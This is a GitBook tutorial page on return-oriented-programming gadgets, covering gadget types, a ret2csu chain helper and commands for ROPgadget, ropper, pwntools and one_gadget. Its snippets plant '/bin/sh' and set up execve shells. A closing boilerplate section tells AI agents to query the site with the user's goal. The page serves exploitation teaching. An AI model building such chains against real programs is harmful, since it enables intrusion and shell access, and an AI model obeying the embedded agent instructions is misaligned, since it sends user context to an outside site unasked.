> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/05.-return-oriented-programming/02.-gadgets.md).

# ROP 02 — Gadgets

## What Is a Gadget?

A **gadget** is a short sequence of instructions that ends in `ret` (or `jmp`/`call` for JOP variants). Gadgets are found by scanning executable memory for useful byte patterns — including *unaligned* sequences that weren't intended by the compiler.

```asm
; Intended function (compiler wrote this):
push rbp
mov  rbp, rsp
mov  eax, 0
pop  rbp
ret                   ← gadget: just "ret"

; Unaligned scan finds this INSIDE the bytes of the above:
; bytes: 55 48 89 e5 b8 00 00 00 00 5d c3
;                               ↑ offset 9 = "pop rbp ; ret"
;                   ↑ offset 5  = "mov eax, 0 ; pop rbp ; ret"
```

The CPU doesn't care about function boundaries — it executes whatever bytes you point it at.

***

## Gadget Taxonomy

### 1. Load / Register Setup Gadgets

Used to set register values — critical for x86-64 where function arguments go in registers, not on the stack.

```asm
; ── x86-64 argument registers ──────────────────────────────────────────────
pop rdi ; ret          ; arg1 — most important, found in almost every binary
pop rsi ; ret          ; arg2
pop rdx ; ret          ; arg3 — often paired: pop rdx ; pop rbx ; ret
pop rcx ; ret          ; arg4
pop r8  ; ret          ; arg5
pop r9  ; ret          ; arg6

; ── Accumulator / syscall number ───────────────────────────────────────────
pop rax ; ret          ; set rax (syscall number or return value)
xor eax, eax ; ret     ; zero rax (eax zero-extends to rax)
xor rax, rax ; ret     ; same effect, explicit 64-bit

; ── x86-32 (args pushed on stack, but sometimes need register control) ──────
pop ebx ; ret          ; arg1 in 32-bit Linux ABI
pop ecx ; ret          ; arg2
pop edx ; ret          ; arg3
pop esi ; ret          ; arg4
pop edi ; ret          ; arg5
```

**Tip**: `pop rdx` is rarer than `pop rdi`/`pop rsi`. Common workaround: find `pop rdx ; pop rbx ; ret` and just pad rbx with a dummy value.

***

### 2. Memory Write Gadgets

Allow writing data to arbitrary addresses (planting strings, fake structures, etc.).

```asm
; Direct writes:
mov [rdi], rax ; ret          ; write 8 bytes at *rdi = rax
mov [rdi], eax ; ret          ; write 4 bytes
mov [rdi], al  ; ret          ; write 1 byte (rare)
mov [rsi], rdi ; ret          ; alternate register order

; With offset:
mov [rbp-0x8], rdi ; ret      ; write relative to rbp
mov [rsp+0x10], rax ; ret     ; write relative to rsp

; Indirect:
mov [rax], rbx ; ret
stosq          ; ret          ; write rax to [rdi], increment rdi
```

**Use case**: Plant `/bin/sh\x00` into `.bss` before calling `execve`.

```python
# Writing "/bin/sh" to .bss using mov [rdi], rax ; ret
bss = elf.bss()

chain  = p64(pop_rdi) + p64(bss)
chain += p64(pop_rax) + p64(u64(b'/bin/sh\x00'))
chain += p64(mov_rdi_rax)   # write gadget
```

***

### 3. Memory Read Gadgets

Leak values from memory — essential for ASLR bypass.

```asm
mov rax, [rdi]  ; ret         ; read 8 bytes from *rdi into rax
mov rax, [rbp]  ; ret
mov eax, [ebx]  ; ret         ; 32-bit read
movzx eax, byte [rdi] ; ret   ; read 1 byte, zero-extend
```

**Note**: Most leaks use function calls (e.g., `puts(got_entry)`) rather than raw read gadgets, since `puts` is almost always available.

***

### 4. Arithmetic Gadgets

For adjusting values when direct constants aren't possible.

```asm
add rax, rbx  ; ret           ; rax += rbx
sub rax, rbx  ; ret           ; rax -= rbx
inc rax       ; ret            ; rax++
dec rax       ; ret            ; rax--
neg rax       ; ret            ; rax = -rax
and rax, rdi  ; ret           ; bitwise AND
or  rax, rbx  ; ret           ; bitwise OR
xor rax, rbx  ; ret           ; bitwise XOR
shl rax, 3   ; ret            ; rax <<= 3 (multiply by 8)
```

***

### 5. Syscall Gadgets

The terminal gadget for kernel interaction.

```asm
syscall      ; ret             ; x86-64 Linux syscall
int 0x80     ; ret             ; x86-32 Linux syscall
sysenter     ; ret             ; fast 32-bit syscall (rare)

; SROP variant — just needs:
syscall      ; ret             ; to trigger sigreturn (rax=15)
```

***

### 6. Stack Pivot Gadgets

Redirect RSP to an attacker-controlled memory region. Used when the overflow is small (not enough room for a full chain on the real stack), or to chain from a heap/BSS fake stack.

```asm
; Direct RSP control:
xchg rsp, rax ; ret           ; rsp = rax — most useful pivot
xchg rsp, rbx ; ret
mov  rsp, rax ; ret
pop  rsp ; ret                 ; load new rsp from stack itself

; RSP adjustments (skip bytes):
add rsp, 0x20 ; ret           ; skip 32 bytes
sub rsp, 0x08 ; ret
add rsp, rbx  ; ret

; Frame-based pivot:
leave ; ret                    ; mov rsp,rbp ; pop rbp — classic
                               ; pivot if you control rbp

; Indirect via return value:
ret                            ; bare ret — sometimes used for alignment
```

**Stack pivot workflow:**

1. Write full ROP chain to a predictable address (`.bss`, heap, format string output)
2. Set `rax` = address of fake stack (via leak or fixed address)
3. Use `xchg rsp, rax ; ret` to pivot RSP there
4. Execution continues from fake stack

***

### 7. Control Flow Gadgets

For branches and loops (rare but found in large binaries).

```asm
; Conditional:
test rax, rax ; jnz 0x...     ; branch if rax != 0
cmp rax, 1   ; je 0x...       ; branch if equal

; Indirect calls (useful for one-shot function calls):
call [rax]   ; ret
call rax     ; ret
jmp  rax                      ; no ret (JOP transition)
```

***

## ret2csu — Universal Gadget Pair

Almost every dynamically-linked ELF binary contains `__libc_csu_init`, which provides two powerful gadgets regardless of what other gadgets exist. This is sometimes the only way to control `rdx` (3rd argument).

### The Two Gadgets

```asm
; ── GADGET B (pop gadget) ───── found ~+0x5a into __libc_csu_init ───────────
pop rbx          ; ← set to 0
pop rbp          ; ← set to 1 (so loop doesn't repeat)
pop r12          ; ← address of function to call (pointer-to-pointer)
pop r13          ; ← becomes edi (arg1 — only 32-bit!)
pop r14          ; ← becomes rsi (arg2)
pop r15          ; ← becomes rdx (arg3)  ★ this is why ret2csu matters
ret

; ── GADGET A (call gadget) ──── found ~+0x40 into __libc_csu_init ───────────
mov rdx, r15     ; arg3 = r15
mov rsi, r14     ; arg2 = r14
mov edi, r13d    ; arg1 = r13 (TRUNCATED to 32 bits)
call [r12+rbx*8] ; indirect call — r12 must point to a GOT/writable pointer
add rbx, 1
cmp rbp, rbx
jnz <loop back to mov rdx>    ; loop if rbx != rbp → set rbp=1, rbx=0 to exit
; falls through to Gadget B again
```

### ret2csu Usage

```python
# Goal: call function(arg1, arg2, arg3) using ret2csu to set rdx

def ret2csu(func_ptr_addr, arg1, arg2, arg3):
    """
    func_ptr_addr: address that HOLDS a pointer to the function (e.g., GOT entry)
    arg1: edi value (32-bit only!)
    arg2: rsi value
    arg3: rdx value  ← this is the whole point
    """
    gadget_b = csu_init + 0x5a   # pop rbx/rbp/r12/r13/r14/r15 ; ret
    gadget_a = csu_init + 0x40   # mov rdx,r15 ; mov rsi,r14 ; mov edi,r13d ; call

    chain  = p64(gadget_b)
    chain += p64(0)               # rbx = 0
    chain += p64(1)               # rbp = 1 (exit loop condition)
    chain += p64(func_ptr_addr)   # r12 = ptr to function
    chain += p64(arg1)            # r13 → edi
    chain += p64(arg2)            # r14 → rsi
    chain += p64(arg3)            # r15 → rdx ★
    chain += p64(gadget_a)        # trigger the call
    chain += p64(0) * 7           # padding through the second gadget_b hit
    return chain
```

**Limitation**: `edi` = 32-bit only. For 64-bit arg1, need a separate `pop rdi ; ret` gadget or a different technique.

***

## Finding Gadgets

### ROPgadget (most common)

```bash
# Install
pip install ropgadget

# All gadgets in binary
ROPgadget --binary ./target

# Filter by instruction
ROPgadget --binary ./target --only "pop|ret"
ROPgadget --binary ./target --only "pop rdi"

# Find string in binary
ROPgadget --binary ./target --string "/bin/sh"

# Exclude bad bytes (e.g., null bytes break string copy)
ROPgadget --binary ./target --badbytes "00 0a 0d"

# Include gadgets from loaded libraries
ROPgadget --binary ./target --rop --multibr

# Auto-generate execve chain (if gadgets exist)
ROPgadget --binary ./target --rop > chain.txt
```

### ropper

```bash
pip install ropper

# Interactive mode (tab completion, search history)
ropper -f ./target

# Direct search
ropper -f ./target --search "pop rdi"
ropper -f ./target --search "xchg rsp"

# Search across multiple files
ropper -f ./target -f ./libc.so.6 --search "pop rdx"

# Filter bad bytes
ropper -f ./target --bad "00,0a" --search "pop rdi"
```

### pwntools ROP module

```python
from pwn import *

elf = ELF('./target')
rop = ROP(elf)

# Find single gadget
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]  # common combo
ret     = rop.find_gadget(['ret'])[0]

# pwntools can also auto-build calls
rop.call('puts', [elf.got['puts']])
rop.call('main')
print(rop.dump())   # human-readable
chain = rop.chain() # raw bytes

# Load gadgets from libc too
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop2 = ROP([elf, libc])
pop_rdx = rop2.find_gadget(['pop rdx', 'ret'])[0]
```

### Manual with objdump / GDB

```bash
# objdump: find ret instructions and look above them
objdump -d ./target | grep -B10 "c3"

# GDB with pwndbg/peda:
gdb ./target
rop                          # (pwndbg) list all gadgets
rop --grep "pop rdi"         # (pwndbg) search
find-gadget pop rdi ret      # (PEDA)

# Look for specific byte pattern:
objdump -d ./target -M intel | grep "5f c3"   # 5f=pop rdi, c3=ret
```

### one\_gadget (libc magic gadgets)

```bash
gem install one_gadget

# Find single-gadget shell (execve("/bin/sh") with constraints)
one_gadget /lib/x86_64-linux-gnu/libc.so.6

# Output:
# 0xe3afe execve("/bin/sh", r15, r12)
#   constraints: [r15] == NULL || r15 == NULL || r15 is a valid argv
#                [r12] == NULL || r12 == NULL || r12 is a valid envp
#
# 0xe3b01 execve("/bin/sh", r15, rdx)
#   constraints: [r15] == NULL || r15 == NULL ...
```

***

## Gadget Quality Checklist

Before using a gadget, verify:

* [ ] **No bad bytes** in address (null `\x00`, newline `\x0a`, carriage return `\x0d` if using string input)
* [ ] **Side effects acceptable** — does the gadget trash a register you need later?
* [ ] **Stack consumption** — how many bytes does it pop? Account for them in payload
* [ ] **Address is known** — fixed (no PIE) or leaked (PIE/ASLR)
* [ ] **Truly ends in `ret`** — some tools find `ret far` or `ret N` variants; verify with `objdump`

```bash
# Verify a gadget at specific address:
objdump -d ./target | grep -A5 "40128a"

# Check for bad bytes in address:
python3 -c "
addr = 0x401234
bad = [0x00, 0x0a, 0x0d]
for b in bad:
    if b in addr.to_bytes(8,'little'):
        print(f'BAD BYTE {hex(b)} in {hex(addr)}')
"
```

***

## Common Gadget Search Patterns

| Need               | Search String                                |
| ------------------ | -------------------------------------------- |
| Set arg1 (64-bit)  | `pop rdi ; ret`                              |
| Set arg2           | `pop rsi ; ret` OR `pop rsi ; pop r15 ; ret` |
| Set arg3           | `pop rdx ; ret` OR use ret2csu               |
| Set syscall number | `pop rax ; ret`                              |
| Make syscall       | `syscall` OR `syscall ; ret`                 |
| Zero a register    | `xor eax, eax ; ret`                         |
| Stack alignment    | `ret` (bare)                                 |
| Stack pivot        | `xchg rsp, rax ; ret` OR `leave ; ret`       |
| Write memory       | `mov [rdi], rax ; ret`                       |
| Read memory        | `mov rax, [rdi] ; ret`                       |
| Indirect call      | `call [rax]`                                 |


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/05.-return-oriented-programming/02.-gadgets.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
